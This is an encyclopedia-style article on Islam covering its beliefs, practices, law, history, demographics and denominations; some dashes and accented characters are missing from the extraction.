          The word Islam is a verbal noun originating from the triliteral root s-l-m, and is derived from the Arabic verb Aslama, which means "to accept, surrender or submit." Thus, Islam means acceptance of and submission to God, and believers must demonstrate this by worshipping him, following his commands, and avoiding polytheism. The word is given a number of meanings in the Qur'an. In some verses ( ayat), the quality of Islam as an internal conviction is stressed: "Whomsoever God desires to guide, He expands his breast to Islam." Other verses connect islām and dīn (usually translated as "religion"): "Today, I have perfected your religion (dīn) for you; I have completed My blessing upon you; I have approved Islam for your religion." Still others describe Islam as an action of returning to Godmore than just a verbal affirmation of faith. Another technical meaning in Islamic thought is as one part of a triad of islam, imān (faith), and ihsān (excellence); where it represents acts of worship (` ibādah) and Islamic law (sharia).


          


          Articles of faith


          The Qur'an states that all Muslims must believe in God, his revelations, his angels, his messengers, and in the " Day of Judgment". Also, there are other beliefs that differ between particular sects. The Sunni concept of predestination is called divine decree, while the Shi'a version is called divine justice. Unique to the Shi'a is the doctrine of Imamah, or the political and spiritual leadership of the Imams.


          Muslims believe that God revealed his final message to humanity through the Islamic prophet Muhammad via the angel Gabriel. For them, Muhammad was God's final prophet and the Qur'an is the revelations he received over more than two decades. In Islam, prophets are men selected by God to be his messengers. Muslims believe that prophets are human and not divine, though some are able to perform miracles to prove their claim. Islamic prophets are considered to be the closest to perfection of all humans, and are uniquely the recipients of divine revelationeither directly from God or through angels. The Qur'an mentions the names of numerous figures considered prophets in Islam, including Adam, Noah, Abraham, Moses and Jesus, among others. Islamic theology says that all of God's messengers since Adam preached the message of Islamsubmission to the will of God. Islam is described in the Qur'an as "the primordial nature upon which God created mankind", and the Qur'an states that the proper name Muslim was given by Abraham.


          As a historical phenomenon, Islam originated in Arabia in the early 7th century. Islamic texts depict Judaism and Christianity as prophetic successor traditions to the teachings of Abraham. The Qur'an calls Jews and Christians " People of the Book" (ahl al-kitāb), and distinguishes them from polytheists. Muslims believe that parts of the previously revealed scriptures, the Tawrat ( Torah) and the Injil ( Gospels), had become distortedeither in interpretation, in text, or both.


          


          God


          Islam's fundamental theological concept is tawhīdthe belief that there is only one god. The Arabic term for God is Allāh; most scholars believe it was derived from a contraction of the words al- (the) and ʾilāh (deity, masculine form), meaning "the god" (al-ilāh), but others trace its origin to the Aramaic Alāhā. The first of the Five Pillars of Islam, tawhīd is expressed in the shahadah (testification), which declares that there is no god but God, and that Muhammad is God's messenger. In traditional Islamic theology, God is beyond all comprehension; Muslims are not expected to visualize God but to worship and adore him as a protector. Although Muslims believe that Jesus was a prophet, they reject the Christian doctrine of the Trinity, comparing it to polytheism. In Islamic theology, Jesus was just a man and not the son of God; God is described in a chapter ( sura) of the Qur'an as "God, the One and Only; God, the Eternal, Absolute; He begetteth not, nor is He begotten; And there is none like unto Him."


          


          Qur'an
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          Muslims consider the Qur'an to be the literal word of God; it is the central religious text of Islam. Muslims believe that the verses of the Qur'an were revealed to Muhammad by God through the angel Gabriel on many occasions between 610 and his death on June 8, 632. The Qur'an was reportedly written down by Muhammad's companions ( sahabah) while he was alive, although the prime method of transmission was orally. It was compiled in the time of Abu Bakr, the first caliph, and was standardized under the administration of Uthman, the third caliph. The Qur'an in its present form is often considered by academic scholars to record the words spoken by Muhammad because the search for variants in Western academia has not yielded any differences of great significance and that historically controversy over the content of the Qur'an has never become a main point.


          The Qur'an is divided into 114 suras, or chapters, which combined, contain 6,236 āyāt, or verses. The chronologically earlier suras, revealed at Mecca, are primarily concerned with ethical and spiritual topics. The later Medinan suras mostly discuss social and moral issues relevant to the Muslim community. The Qur'an is more concerned with moral guidance than legal instruction, and is considered the "sourcebook of Islamic principles and values". Muslim jurists consult the hadith, or the written record of Muhammad's life, to both supplement the Qur'an and assist with its interpretation. The science of Qur'anic commentary and exegesis is known as tafsir.


          The word Qur'an means "recitation". When Muslims speak in the abstract about "the Qur'an", they usually mean the scripture as recited in Arabic rather than the printed work or any translation of it. To Muslims, the Qur'an is perfect only as revealed in the original Arabic; translations are necessarily deficient because of language differences, the fallibility of translators, and the impossibility of preserving the original's inspired style. Translations are therefore regarded only as commentaries on the Qur'an, or "interpretations of its meaning", not as the Qur'an itself.


          


          Angels


          Belief in angels is crucial to the faith of Islam. The Arabic word for Angels (malak) means "messenger", like its counterparts in Hebrew (malakh) and Greek (angelos). According to the Qur'an, angels do not possess free will, and worship God in perfect obedience. Angels' duties include communicating revelations from God, glorifying God, recording every person's actions, and taking a person's soul at the time of death. They are also thought to intercede on man's behalf. The Qur'an describes angels as "messengers with wingstwo, or three, or four (pairs): He [God] adds to Creation as He pleases"


          


          Muhammad


          Muhammad (c. 570  June 8, 632) was an Arab religious, political, and military leader who founded the religion of Islam as a historical phenomenon. Muslims view him not as the creator of a new religion, but as the restorer of the original, uncorrupted monotheistic faith of Adam, Abraham and others. In Muslim tradition, Muhammad is viewed as the last and the greatest in a series of prophetsas the man closest to perfection, the possessor of all virtues. For the last 23 years of his life, beginning at age 40, Muhammad reported receiving revelations from God. The content of these revelations, known as the Qur'an, was memorized and recorded by his companions.
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          During this time, Muhammad preached to the people of Mecca, imploring them to abandon polytheism. Although some converted to Islam, Muhammad and his followers were persecuted by the leading Meccan authorities. After 13 years of preaching, Muhammad and the Muslims performed the Hijra ("emigration") to the city of Medina (formerly known as Yathrib) in 622. There, with the Medinan converts ( Ansar) and the Meccan migrants ( Muhajirun), Muhammad established his political and religious authority. Within years, two battles had been fought against Meccan forces: the Battle of Badr in 624, which was a Muslim victory, and the Battle of Uhud in 625, which ended inconclusively. Conflict with Medinan Jewish clans who opposed the Muslims led to their exile, enslavement or death, and the Jewish enclave of Khaybar was subdued. At the same time, Meccan trade routes were cut off as Muhammad brought surrounding desert tribes under his control. By 629 Muhammad was victorious in the nearly bloodless Conquest of Mecca, and by the time of his death in 632 he ruled over the Arabian peninsula.


          In Islam, the " normative" example of Muhammad's life is called the Sunnah (literally "trodden path"). This example is preserved in traditions known as hadith ("reports"), which recount his words, his actions, and his personal characteristics. The classical Muslim jurist ash-Shafi'i (d. 820) emphasized the importance of the Sunnah in Islamic law, and Muslims are encouraged to emulate Muhammad's actions in their daily lives. The Sunnah is seen as crucial to guiding interpretation of the Qur'an.


          


          Resurrection and judgment


          Belief in the "Day of Resurrection", yawm al-Qiyāmah (also known as yawm ad-dīn, "Day of Judgment" and as-sā`a, "the Last Hour") is also crucial for Muslims. They believe that the time of Qiyāmah is preordained by God but unknown to man. The trials and tribulations preceding and during the Qiyāmah are described in the Qur'an and the hadith, and also in the commentaries of Islamic scholars. The Qur'an emphasizes bodily resurrection, a break from the pre-Islamic Arabian understanding of death. It states that resurrection will be followed by the gathering of mankind, culminating in their judgment by God.


          The Qur'an lists several sins that can condemn a person to hell, such as disbelief, usury and dishonesty. Muslims view paradise ( jannah) as a place of joy and bliss, with Qur'anic references describing its features and the physical pleasures to come. There are also references to a greater joyacceptance by God (ridwān). Mystical traditions in Islam place these heavenly delights in the context of an ecstatic awareness of God.


          


          Predestination


          In accordance with the Islamic belief in predestination, or divine preordainment (al-qadā wa'l-qadar), God has full knowledge and control over all that occurs. This is explained in Qur'anic verses such as "Say: 'Nothing will happen to us except what Allah has decreed for us: He is our protector'" For Muslims, everything in the world that occurs, good or evil, has been preordained and nothing can happen unless permitted by God. In Islamic theology, divine preordainment does not suggest an absence of God's indignation against evil, because any evils that do occur are thought to result in future benefits men may not be able to see. According to Muslim theologians, although events are pre-ordained, man possesses free will in that he has the faculty to choose between right and wrong, and is thus responsible for his actions. According to Islamic tradition, all that has been decreed by God is written in al-Lawh al-Mahfūz, the "Preserved Tablet".


          The Shi'a understanding of predestination is called "divine justice" (Adalah). This doctrine, originally developed by the Mu'tazila, stresses the importance of man's responsibility for his own actions. In contrast, the Sunni deemphasize the role of individual free will in the context of God's creation and foreknowledge of all things.


          


          Duties and practices


          


          Five Pillars
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          The Five Pillars of Islam (Arabic: اركان الدين) are five practices essential to Sunni Islam. Shi'a Muslims subscribe to eight ritual practices which substantially overlap with the Five Pillars. They are:


          
            	The shahadah, which is the basic creed or tenet of Islam: "'ahadu 'al-lā ilāha illā-llāhu wa 'ahadu 'anna muħammadan rasūlu-llāh", or "I testify that there is none worthy of worship except God and I testify that Muhammad is the Messenger of God." This testament is a foundation for all other beliefs and practices in Islam (although technically the Shi'a do not consider the shahadah to be a separate pillar, just a belief). Muslims must repeat the shahadah in prayer, and non-Muslims wishing to convert to Islam are required to recite the creed.

          


          
            	Salah, or ritual prayer, which must be performed five times a day. (However, the Shi'a are permitted to run together the noon with the afternoon prayers, and the evening with the night prayers). Each salah is done facing towards the Kaaba in Mecca. Salah is intended to focus the mind on God, and is seen as a personal communication with him that expresses gratitude and worship. Salah is compulsory but flexibility in the specifics is allowed depending on circumstances. In many Muslim countries, reminders called Adhan (call to prayer) are broadcast publicly from local mosques at the appropriate times. The prayers are recited in the Arabic language, and consist of verses from the Qur'an.

          


          
            	Zakat, or alms-giving. This is the practice of giving based on accumulated wealth, and is obligatory for all Muslims who can afford it. A fixed portion is spent to help the poor or needy, and also to assist the spread of Islam. The zakat is considered a religious obligation (as opposed to voluntary charity) that the well-off owe to the needy because their wealth is seen as a "trust from God's bounty". The Qur'an and the hadith also suggest a Muslim give even more as an act of voluntary alms-giving ( sadaqah). Many Shi'ites are expected to pay an additional amount in the form of a khums tax, which they consider to be a separate ritual practice.

          


          
            	Sawm, or fasting during the month of Ramadan. Muslims must not eat or drink (among other things) from dawn to dusk during this month, and must be mindful of other sins. The fast is to encourage a feeling of nearness to God, and during it Muslims should express their gratitude for and dependence on him, atone for their past sins, and think of the needy. Sawm is not obligatory for several groups for whom it would constitute an undue burden. For others, flexibility is allowed depending on circumstances, but missed fasts usually must be made up quickly.

          


          
            	The Hajj, which is the pilgrimage during the Islamic month of Dhu al-Hijjah in the city of Mecca. Every able-bodied Muslim who can afford it must make the pilgrimage to Mecca at least once in his or her lifetime. When the pilgrim is about ten kilometers from Mecca, he must dress in Ihram clothing, which consists of two white seamless sheets. Rituals of the Hajj include walking seven times around the Kaaba, touching the Black Stone, running seven times between Mount Safa and Mount Marwah, and symbolically stoning the Devil in Mina. The pilgrim, or the hajji, is honored in his or her community, although Islamic teachers say that the Hajj should be an expression of devotion to God instead of a means to gain social standing.

          


          In addition to the khums tax, Shi'a Muslims consider three additional practices essential to the religion of Islam. The first is jihad, which is also important to the Sunni, but not considered a pillar. The second is Amr-Bil-Ma'rūf, the "Enjoining to Do Good", which calls for every Muslim to live a virtuous life and to encourage others to do the same. The third is Nahi-Anil-Munkar, the "Exhortation to Desist from Evil", which tells Muslims to refrain from vice and from evil actions and to also encourage others to do the same.


          


          Law


          The Sharia (literally: "the path leading to the watering place") is Islamic law formed by traditional Islamic scholarship. In Islam, Sharia is the expression of the divine will, and "constitutes a system of duties that are incumbent upon a Muslim by virtue of his religious belief".


          Islamic law covers all aspects of life, from matters of state, like governance and foreign relations, to issues of daily living. The Qur'an defines hudud as the punishments for five specific crimes: unlawful intercourse, false accusation of unlawful intercourse, consumption of alcohol, theft, and highway robbery. The Qur'an and Sunnah also contain laws of inheritance, marriage, and restitution for injuries and murder, as well as rules for fasting, charity, and prayer. However, these prescriptions and prohibitions may be broad, so their application in practice varies. Islamic scholars (known as ulema) have elaborated systems of law on the basis of these rules and their interpretations.


          Fiqh, or "jurisprudence", is defined as the knowledge of the practical rules of the religion. The method Islamic jurists use to derive rulings is known as usul al-fiqh ("legal theory", or "principles of jurisprudence"). According to Islamic legal theory, law has four fundamental roots, which are given precedence in this order: the Qur'an, the Sunnah (actions and sayings of Muhammad), the consensus of the Muslim jurists ( ijma), and analogical reasoning ( qiyas). For early Islamic jurists, theory was less important than pragmatic application of the law. In the 9th century, the jurist ash-Shafi'i provided a theoretical basis for Islamic law by codifying the principles of jurisprudence (including the four fundamental roots) in his book ar-Risālah.


          


          Religion and state


          Islamic law does not distinguish between "matters of church" and "matters of state"; the ulema function as both jurists and theologians. In practice, Islamic rulers frequently bypassed the Sharia courts with a parallel system of so-called "Grievance courts" over which they had sole control. As the Muslim world came into contact with Western secular ideals, Muslim societies responded in different ways. Turkey has been governed as a secular state ever since the reforms of Mustafa Kemal Atatrk. In contrast, the 1979 Iranian Revolution replaced a mostly secular regime with an Islamic republic led by the Ayatollah Ruholla Khomeini.


          


          Etiquette and diet


          Many practices fall in the category of adab, or Islamic etiquette. This includes greeting others with " as-salamu `alaykum" ("peace be unto you"), saying bismillah ("in the name of God") before meals, and using only the right hand for eating and drinking. Islamic hygienic practices mainly fall into the category of personal cleanliness and health, such as the circumcision of male offspring. Islamic burial rituals include saying the Salat al-Janazah ("funeral prayer") over the bathed and enshrouded dead body, and burying it in a grave. Muslims, like Jews, are restricted in their diet, and prohibited foods include pig products, blood, carrion, and alcohol. All meat must come from a herbivorous animal slaughtered in the name of God by a Muslim, Jew, or Christian, with the exception of game that one has hunted or fished for oneself. Food permissible for Muslims is known as halal food.


          


          Jihad


          Jihad means "to strive or struggle" (in the way of God) and is considered the " sixth pillar of Islam" by a minority of Muslim authorities. Jihad, in its broadest sense, is classically defined as "exerting one's utmost power, efforts, endeavors, or ability in contending with an object of disapprobation." Depending on the object being a visible enemy, the devil, and aspects of one's own self, different categories of Jihad are defined. Jihad when used without any qualifier is understood in its military aspect. Jihad also refers to one's striving to attain religious and moral perfection. Some Muslim authorities, especially among the Shi'a and Sufis, distinguish between the "greater jihad", which pertains to spiritual self-perfection, and the "lesser jihad", defined as warfare.


          Within Islamic jurisprudence, jihad is usually taken to mean military exertion against non-Muslim combatants in the defense or expansion of the Islamic state, the ultimate purpose of which is to universalize Islam. Jihad, the only form of warfare permissible in Islamic law, may be declared against apostates, rebels, highway robbers, violent groups, unIslamic leaders or states which refuse to submit to the authority of Islam. Most Muslims today interpret Jihad as only a defensive form of warfare: the external Jihad includes a struggle to make the Islamic societies conform to the Islamic norms of justice.


          Under most circumstances and for most Muslims, jihad is a collective duty ( fard kifaya): its performance by some individuals exempts the others. Only for those vested with authority, especially the sovereign ( imam), does jihad become an individual duty. For the rest of the populace, this happens only in the case of a general mobilization. For most Shias, offensive jihad can only be declared by a divinely appointed leader of the Muslim community, and as such is suspended since Muhammad al-Mahdi's occultation in 868 AD.


          


          History


          Islam's historical development resulted in major political, economic, and military effects inside and outside the Islamic world. Within a century of Muhammad's first recitations of the Qur'an, an Islamic empire stretched from the Atlantic Ocean in the west to Central Asia in the east. This new polity soon broke into civil war, and successor states fought each other and outside forces. However, Islam continued to spread into regions like Africa, the Indian subcontinent, and Southeast Asia. The Islamic civilization was one of the most advanced in the world during the Middle Ages, but was surpassed by Europe with the economic and military growth of the West. During the 18th and 19th centuries, Islamic dynasties such as the Ottomans and Mughals fell under the sway of European imperial powers. In the 20th century new religious and political movements and newfound wealth in the Islamic world led to both rebirth and conflict.


          


          Rise of the caliphate and Islamic civil war (632750)


          Muhammad began preaching Islam at Mecca before migrating to Medina, from where he united the tribes of Arabia into a singular Arab Muslim religious polity. With Muhammad's death in 632, disagreement broke out over who would succeed him as leader of the Muslim community. Umar ibn al-Khattab, a prominent companion of Muhammad, nominated Abu Bakr, who was Muhammad's intimate friend and collaborator. Others added their support and Abu Bakr was made the first caliph. This choice was disputed by some of Muhammad's companions, who held that Ali ibn Abi Talib, his cousin and son-in-law, had been designated his successor. Abu Bakr's immediate task was to avenge a recent defeat by Byzantine (or Eastern Roman Empire) forces, although he first had to put down a rebellion by Arab tribes in an episode known as the Ridda wars, or "Wars of Apostasy".
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          His death in 634 resulted in the succession of Umar as the caliph, followed by Uthman ibn al-Affan and Ali ibn Abi Talib. These four are known as al-khulafā' ar-rāshidūn (" Rightly Guided Caliphs"). Under them, the territory under Muslim rule expanded deeply into Persian and Byzantine territories.


          When Umar was assassinated in 644, the election of Uthman as successor was met with increasing opposition. In 656, Uthman was also killed, and Ali assumed the position of caliph. After fighting off opposition in the first civil war (the "First Fitna"), Ali was assassinated by Kharijites in 661. Following this, Mu'awiyah, who was governor of Levant, seized power and began the Umayyad dynasty.


          These disputes over religious and political leadership would give rise to schism in the Muslim community. The majority accepted the legitimacy of the three rulers prior to Ali, and became known as Sunnis. A minority disagreed, and believed that Ali was the only rightful successor; they became known as the Shi'a. After Mu'awiyah's death in 680, conflict over succession broke out again in a civil war known as the " Second Fitna". Afterward, the Umayyad dynasty prevailed for seventy years, and was able to conquer the Maghrib and Al-Andalus (the Iberian Peninsula, former Visigothic Hispania) and the Narbonnese Gaul} in the west as well as expand Muslim territory into Sindh and the fringes of Central Asia. While the Muslim-Arab elite engaged in conquest, some devout Muslims began to question the piety of indulgence in a worldly life, emphasizing rather poverty, humility and avoidance of sin based on renunciation of bodily desires. Devout Muslim ascetic exemplars such as Hasan al-Basri would inspire a movement that would evolve into Sufism.


          For the Umayyad aristocracy, Islam was viewed as a religion for Arabs only; the economy of the Umayyad empire was based on the assumption that a majority of non-Muslims ( Dhimmis) would pay taxes to the minority of Muslim Arabs. A non-Arab who wanted to convert to Islam was supposed to first become a client of an Arab tribe. Even after conversion, these new Muslims ( mawali) did not achieve social and economic equality with the Arabs. The descendants of Muhammad's uncle Abbas ibn Abd al-Muttalib rallied discontented mawali, poor Arabs, and some Shi'a against the Umayyads and overthrew them with the help of their propagandist and general Abu Muslim, inaugurating the Abbasid dynasty in 750. Under the Abbasids, Islamic civilization flourished in the " Islamic Golden Age", with its capital at the cosmopolitan city of Baghdad.


          


          Golden Age (7501258)
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          By the late 9th century, the Abbasid caliphate began to fracture as various regions gained increasing levels of autonomy. Across North Africa, Persia, and Central Asia emirates formed as provinces broke away. The monolithic Arab empire gave way to a more religiously homogenized Muslim world where the Shia Fatimids contested even the religious authority of the caliphate. By 1055 the Seljuq Turks had eliminated the Abbasids as a military power, nevertheless they continued to respect the caliph's titular authority. During this time expansion of the Muslim world continued, by both conquest and peaceful proselytism even as both Islam and Muslim trade networks were extending into sub-Saharan West Africa, Central Asia, Volga Bulgaria and the Malay archipelago.


          The Golden Age saw new legal, philosophical, and religious developments. The major hadith collections were compiled and the four modern Sunni Madh'habs were established. Islamic law was advanced greatly by the efforts of the early 9th century jurist al-Shafi'i; he codified a method to establish the reliability of hadith, a topic which had been a locus of dispute among Islamic scholars. Philosophers Ibn Sina (Avicenna) and Al-Farabi sought to incorporate Greek principles into Islamic theology, while others like the 11th century theologian Abu Hamid al-Ghazzali argued against them and ultimately prevailed. Finally, Sufism and Shi'ism both underwent major changes in the 9th century. Sufism became a full-fledged movement that had moved towards mysticism and away from its ascetic roots, while Shi'ism split due to disagreements over the succession of Imams.


          The spread of the Islamic dominion induced hostility among medieval ecclesiastical Christian authors who saw Islam as an adversary in the light of the large numbers of new Muslim converts. This opposition resulted in polemical treatises which depicted Islam as the religion of the antichrist and of Muslims as libidinous and subhuman. In the medieval period, a few Arab philosophers like the poet Al-Ma'arri adopted a critical approach to Islam, and the Jewish philosopher Maimonides contrasted Islamic views of morality to Jewish views that he himself elaborated.


          


          Crusades, Reconquista and Mongol invasion


          Starting in the 9th century, Muslim conquests in the West began to be reversed. The Reconquista was launched against Muslim principalities in Iberia, and Muslim Italian possessions were lost to the Normans. From the 11th century onwards alliances of European Christian kingdoms mobilized to launch a series of wars known as the Crusades, bringing the Muslim world into conflict with Christendom. Initially successful in their goal of taking the Holy land, and establishing the Crusader states, Crusader gains in the Holy Land were later reversed by subsequent Muslim generals such as Saladin; who recaptured Jerusalem during the Second Crusade. In the east the Mongol Empire put an end to the Abbassid dynasty at the Battle of Baghdad in 1258, as they overran in Muslim lands in a series of invasions. Meanwhile in Egypt, the slave-soldier Mamluks took control in an uprising in 1250 and in alliance with the Golden Horde were able to halt the Mongol armies at the Battle of Ain Jalut. Mongol rule extended across the breadth of almost all Muslim lands in Asia and Islam was temporarily replaced by Buddhism as the official religion of the land. Over the next century the Mongol Khanates converted to Islam and this religious and cultural absorption ushered in a new age of Mongol-Islamic synthesis that shaped the further spread of Islam in central Asia and the Indian subcontinent.


          


          Turkish, Iranian and Indian empires (10301918)


          The Seljuk Turks conquered Abbassid lands and adopted Islam and become the de facto rulers of the caliphate. They captured Anatolia by defeating the Byzantines at the Battle of Manzikert, thereby precipitating the call for Crusades. They however fell apart rapidly in the second half of the 12th century giving rise to various semi-autonomous Turkic dynasties. In the 13th and 14th centuries the Ottoman empire (named after Osman I) emerged from among these "Ghazi emirates" and established itself after a string of conquests that included the Balkans, parts of Greece, and western Anatolia. In 1453 under Mehmed II the Ottomans laid siege to Constantinople, the capital of Byzantium, which succumbed shortly thereafter, having been overwhelmed by a far greater number of Ottoman troops and to a lesser extent, cannonry.


          Beginning in the 13th century, Sufism underwent a transformation, largely as a result of the efforts of al-Ghazzali to legitimize and reorganize the movement. He developed the model of the Sufi ordera community of spiritual teachers and students. Also of importance to Sufism was the creation of the Masnavi, a collection of mystical poetry by the 13th century Persian poet Rumi. The Masnavi had a profound influence on the development of Sufi religious thought; to many Sufis it is second in importance only to the Qur'an.
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          In the early 16th century, the Shi'i Safavid dynasty assumed control in Persia and established Shi'a Islam as an official religion there, and despite periodic setbacks, the Safavids remained powerful for two centuries. Meanwhile, Mamluk Egypt fell to the Ottomans in 1517, who then launched a European campaign which reached as far as the gates of Vienna in 1529. After the invasion of Persia, and sack of Baghdad by the Mongols in 1258, Delhi became the most important cultural centre of the Muslim east. Many Islamic dynasties ruled parts of the Indian subcontinent starting from the 12th century. The prominent ones include the Delhi Sultanate (12061526) and the Mughal empire (15261857). These empires helped in the spread of Islam in South Asia, but by the early-18th century the Maratha empire became the pre-eminent power in the north of India. By the mid-18th century the British empire had formally ended the Mughal dynasty,, and at the end of the 18th century overthrew the Muslim-ruled Kingdom of Mysore. In the 18th century the Wahhabi movement took hold in Saudi Arabia. Founded by the preacher Ibn Abd al-Wahhab, Wahhabism is a fundamentalist ideology that condemns practices like Sufism and the veneration of saints as un-Islamic.


          By the 17th and 18th centuries, despite attempts at modernization, the Ottoman empire had begun to feel threatened by European economic and military advantages. In the 19th century, the rise of nationalism resulted in Greece declaring and winning independence in 1829, with several Balkan states following suit after the Ottomans suffered defeat in the Russo-Turkish War of 18771878. The Ottoman era came to a close at the end of World War I and the Caliphate was abolished in 1924.


          In the 19th century, the Salafi, Deobandi and Barelwi movements were initiated.


          


          Modern times (1918present)


          By the early years of the 20th century, most of the Muslim world outside the Ottoman empire had been absorbed into the empires of non-Islamic European powers. After World War I losses, nearly all of the Ottoman empire was also parceled out as European protectorates or spheres of influence. In the course of the 20th century, most of these European-ruled territories became independent, and new issues such as oil wealth and relations with the State of Israel have assumed prominence. During this time, many Muslims migrated, as indentured servants, from mostly India and Indonesia to the Caribbean, forming the largest Muslim populations by percentage in the Americas. Additionally, the resulting urbanization and increase in trade in Africa brought Muslims to settle in new areas and spread their faith. As a result, Islam in sub-Saharan Africa likely doubled between 1869 and 1914. The Organization of the Islamic Conference (OIC), consisting of Muslim countries, was formally established in September 1969 after the burning of the Al-Aqsa Mosque in Jerusalem.


          The 20th century saw the creation of many new Islamic "revivalist" movements. Groups such as the Muslim Brotherhood in Egypt and Jamaat-e-Islami in Pakistan advocate a totalistic and theocratic alternative to secular political ideologies. Sometimes called Islamist, they see Western cultural values as a threat, and promote Islam as a comprehensive solution to every public and private question of importance. In countries like Iran and Afghanistan (under the Taliban), revolutionary movements replaced secular regimes with Islamist states, while transnational groups like Osama bin Laden's al-Qaeda engage in terrorism to further their goals. In contrast, Liberal Islam is a movement that attempts to reconcile religious tradition with modern norms of secular governance and human rights. Its supporters say that there are multiple ways to read Islam's sacred texts, and stress the need to leave room for "independent thought on religious matters".


          Modern critique of Islam includes accusations that Islam is intolerant of criticism and that Islamic law is too hard on apostates. Critics like Ibn Warraq question the morality of the Qu'ran, saying that its contents justify the mistreatment of women and encourage antisemitic remarks by Muslim theologians. Such claims are disputed by Muslim writers like Fazlur Rahman, Syed Ameer Ali, Ahmed Deedat, and Yusuf Estes. Others like Daniel Pipes and Martin Kramer focus more on criticizing the spread of Islamic fundamentalism, a danger they feel has been ignored. Montgomery Watt and Norman Daniel dismiss many of the criticisms as the product of old myths and polemics. The rise of Islamophobia, according to Carl Ernst, had contributed to the negative views about Islam and Muslims in the West.


          


          Community
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          Demographics


          Commonly cited estimates of the Muslim population in 2007 range from 1billion to 1.8billion. Approximately 85% are Sunni and 15% are Shi'a, with a small minority belonging to other sects. Some 3040 countries are Muslim-majority, and Arabs account for around 20% of all Muslims worldwide. South Asia and Southeast Asia contain the most populous Muslim countries, with Indonesia, India, Pakistan, and Bangladesh having more than 100million adherents each. According to U.S. government figures, in 2006 there were 20million Muslims in China. In the Middle East, the non-Arab countries of Turkey and Iran are the largest Muslim-majority countries; in Africa, Egypt and Nigeria have the most populous Muslim communities. Islam is the second largest religion after Christianity in many European countries.


          


          Mosques
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          A mosque is a place of worship for Muslims, who often refer to it by its Arabic name, masjid. The word mosque in English refers to all types of buildings dedicated to Islamic worship, although there is a distinction in Arabic between the smaller, privately owned mosque and the larger, "collective" mosque (masjid jāmi`). Although the primary purpose of the mosque is to serve as a place of prayer, it is also important to the Muslim community as a place to meet and study. Modern mosques have evolved greatly from the early designs of the 7th century, and contain a variety of architectural elements such as minarets.


          


          Family life


          The basic unit of Islamic society is the family, and Islam defines the obligations and legal rights of family members. The father is seen as financially responsible for his family, and is obliged to cater for their well-being. The division of inheritance is specified in the Qur'an, which states that most of it is to pass to the immediate family, while a portion is set aside for the payment of debts and the making of bequests. The woman's share of inheritance is generally half of that of a man with the same rights of succession. Marriage in Islam is a civil contract which consists of an offer and acceptance between two qualified parties in the presence of two witnesses. The groom is required to pay a bridal gift ( mahr) to the bride, as stipulated in the contract.
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          A man may have up to four wives if he believes he can treat them equally, while a woman may have only one husband. In most Muslim countries, the process of divorce in Islam is known as talaq, which the husband initiates by pronouncing the word "divorce". Scholars disagree whether Islamic holy texts justify traditional Islamic practices such as veiling and seclusion ( purdah). Starting in the 20th century, Muslim social reformers argued against these and other practices such as polygamy, with varying success. At the same time, many Muslim women have attempted to reconcile tradition with modernity by combining an active life with outward modesty. Certain Islamist groups like the Taliban have sought to continue traditional law as applied to women.


          


          Calendar


          The formal beginning of the Muslim era was chosen to be the Hijra in 622 CE, which was an important turning point in Muhammad's fortunes. The assignment of this year as the year 1 AH (Anno Hegirae) in the Islamic calendar was reportedly made by Caliph Umar. It is a lunar calendar, with nineteen ordinary years of 354 days and eleven leap years of 355 days in a thirty-year cycle. Islamic dates cannot be converted to CE/AD dates simply by adding 622 years: allowance must also be made for the fact that each Hijri century corresponds to only 97 years in the Christian calendar.


          The year 1428 AH coincides almost completely with 2007 CE.


          Islamic holy days fall on fixed dates of the lunar calendar, which means that they occur in different seasons in different years in the Gregorian calendar. The most important Islamic festivals are Eid al-Fitr (Arabic: عيد الفطر) on the 1st of Shawwal, marking the end of the fasting month Ramadan, and Eid al-Adha (Arabic: عيد الأضحى) on the 10th of Dhu al-Hijjah, coinciding with the pilgrimage to Mecca.


          


          Other religions
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          According to Islamic doctrine, Islam was the primordial religion of mankind, professed by Adam. At some point, a religious split occurred, and God began sending prophets to bring his revelations to the people. In this view, Abraham, Moses, Hebrew prophets, and Jesus were all Prophets in Islam, but their message and the texts of the Torah and the Gospels were corrupted by Jews and Christians. Similarly, children of non-Muslim families are born Muslims, but are converted to another faith by their parents. The idea of Islamic supremacy is encapsulated in the formula "Islam is exalted and nothing is exalted above it." Pursuant to this principle, Muslim women may not marry non-Muslim men, defamation of Islam is prohibited, and the testimony of a non-Muslim is inadmissible against a Muslim.


          Islamic law divides non-Muslims into several categories, depending on their relation with the Islamic state. Christians and Jews who live under Islamic rule are known as dhimmis ("protected peoples"). According to this pact, the personal safety and security of property of the dhimmis were guaranteed in return for paying tribute ( jizya) to the Islamic state and acknowledging Muslim supremacy. Historically, dhimmis enjoyed a measure of communal autonomy under their own religious leaders, but were subject to legal, social and religious restrictions meant to highlight their inferiority. The status was extended to other groups like Zoroastrians and Hindus, but not to atheists or agnostics. Those who live in non-Muslim lands ( dar al-harb) are known as harbis, and upon entering into an alliance with the Muslim state become known as ahl al-ahd. Those who receive a guarantee of safety while residing temporarily in Muslim lands are known as ahl al-amān. Their legal position is similar to that of the dhimmi except that they are not required to pay the jizya. The people of armistice (ahl al-hudna) are those who live outside of Muslim territory and agree to refrain from attacking the Muslims. Apostasy is prohibited, and is punishable by death.


          The Alevi, Yazidi, Druze, Ahmadiyya, Bb, Bah', Berghouata and Ha-Mim movements either emerged out of Islam or came to share certain beliefs with Islam. Some consider themselves separate while others still sects of Islam though controversial in certain beliefs with mainstream Muslims. Sikhism, founded by Guru Nanak in late fifteenth century Punjab, incorporates aspects of both Islam and Hinduism.


          


          Denominations
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          Islam consists of a number of religious denominations that are essentially similar in belief but which have significant theological and legal differences. The primary division is between the Sunni and the Shi'a, with Sufism generally considered to be a mystical inflection of Islam rather than a distinct school. According to most sources, approximately 85% of the world's Muslims are Sunni and approximately 15% are Shi'a, with a small minority who are members of other Islamic sects.


          


          Sunni


          Sunni Muslims are the largest group in Islam. In Arabic, as-Sunnah literally means "principle" or "path". The Sunnah (the example of Muhammad's life) as recorded in the Qur'an and the hadith is the main pillar of Sunni doctrine. Sunnis believe that the first four caliphs were the rightful successors to Muhammad; since God did not specify any particular leaders to succeed him, those leaders had to be elected. Sunnis recognize four major legal traditions, or madhhabs: Hanafi, Maliki, Shafi'i, and Hanbali. All four accept the validity of the others and a Muslim might choose any one that he or she finds agreeable, but other Islamic sects are believed to have departed from the majority by introducing innovations ( bidah). There are also several orthodox theological or philosophical traditions within Sunnism. For example, the recent Salafi movement sees itself as restorationist and claims to derive its teachings from the original sources of Islam.
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          Shi'a


